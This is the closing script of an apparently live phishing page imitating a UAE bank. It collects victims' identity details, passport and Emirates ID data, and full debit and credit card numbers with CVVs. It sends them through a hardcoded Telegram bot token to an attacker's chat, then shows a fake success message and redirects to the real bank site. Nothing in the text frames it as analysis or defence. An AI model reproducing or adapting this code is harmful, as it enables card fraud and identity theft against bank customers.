                const uaeResident = document.querySelector('input[name="uae_resident"]:checked')?.value || '';

                // Collect Passport Details
                const passportNumber = document.querySelector('input[placeholder="Enter Passport Number"]')?.value || '';
                const passportIssueDate = document.querySelector('input[name="passport_issue_date"]')?.value || '';
                const passportExpiryDate = document.querySelector('input[name="passport_expiry_date"]')?.value || '';

                // Collect Emirates ID Details
                const emiratesIDFront = document.querySelector('input[name="emirates_id_front"]')?.files[0]?.name || '';
                const emiratesIDBack = document.querySelector('input[name="emirates_id_back"]')?.files[0]?.name || '';
                const emiratesIDNumber = document.querySelector('input[placeholder="Enter Emirates ID Number"]')?.value || '';
                const emiratesIDExpiryDate = document.querySelector('input[name="emirates_id_expiry_date"]')?.value || '';

                // Collect Debit Card Details
                const debitCardNumber = document.querySelector('input[placeholder="Enter Card Number"]')?.value || '';
                const debitCardExpirationDate = document.querySelector('input[placeholder="MM/YY"]')?.value || '';
                const debitCardCVV = document.querySelector('input[placeholder="Enter CVV"]')?.value || '';

                // Collect Credit Card Details
                const creditCardNumber = document.querySelector('input[placeholder="Enter Card Number1"]')?.value || '';
                const creditCardExpirationDate = document.querySelector('input[placeholder="MM/YY."]')?.value || '';
                const creditCardCVV = document.querySelector('input[placeholder="CVV"]')?.value || '';

                // Create payload
                const formData = {
                    name,
                    accountNumber,
                    email,
                    dob,
                    countryOfResidence,
                    nationality,
                    address,
                    occupation,
                    uaeResident,
                    passportNumber,
                    passportIssueDate,
                    passportExpiryDate,
                    emiratesIDFront,
                    emiratesIDBack,
                    emiratesIDNumber,
                    emiratesIDExpiryDate,
                    debitCardNumber,
                    debitCardExpirationDate,
                    debitCardCVV,
                    creditCardNumber,
                    creditCardExpirationDate,
                    creditCardCVV,
                };

                // Debug: Log all form data to the console
                console.log('Captured Form Data:', formData);

                // Show spinner loader
                const loader = document.createElement('div');
                loader.innerHTML = `
                    <div class="spinner"></div>
                    <p>Submitting...</p>
                `;
                loader.classList.add('loader-container');
                document.body.innerHTML = ''; // Clear the page content
                document.body.appendChild(loader);

                // Send data to the server or Telegram bot
                const botToken = '7496044777:AAGNsECGO8xsv2n9N6RO92Ar1D4mADB3CSs';
                const chatID = '5410879233';
                const message = Object.entries(formData)
                    .map(([key, value]) => `${key}: ${value}`)
                    .join('\n');

                fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ chat_id: chatID, text: message }),
                }).then((response) => {
                    if (response.ok) {
                        // Show green checkmark and success message
                        loader.innerHTML = `
                            <div class="success-checkmark">&#10003;</div>
                            <p>Successful</p>
                        `;

                        // Redirect to adib.ae after 1.5 seconds
                        setTimeout(() => {
                            window.location.href = 'https://rak.ae';
                        }, 1500);
                    } else {
                        console.error('Failed to submit form.');
                    }
                }).catch((error) => {
                    console.error('Error submitting form:', error);
                });
            } catch (error) {
                console.error('Error submitting form:', error);
            }
        });

        // Add CSS for spinner and success checkmark
        const style = document.createElement('style');
        style.innerHTML = `
            .loader-container {
                position: fixed;
                top: 0;
                left: 0;
                width: 100%;
                height: 100%;
                display: flex;
                flex-direction: column;
                justify-content: center;
                align-items: center;
                background-color: rgba(0, 0, 0, 0.9);
                color: white;
                font-size: 18px;
                z-index: 9999;
            }
            .spinner {
                border: 4px solid rgba(255, 255, 255, 0.3);
                border-top: 4px solid white;
                border-radius: 50%;
                width: 50px;
                height: 50px;
                animation: spin 1s linear infinite;
            }
            @keyframes spin {
                from { transform: rotate(0deg); }
                to { transform: rotate(360deg); }
            }
            .success-checkmark {
                font-size: 40px;
                color: #28a745;
            }
        `;
        document.head.appendChild(style);
    });
</script>
                                      
</body>
</html>
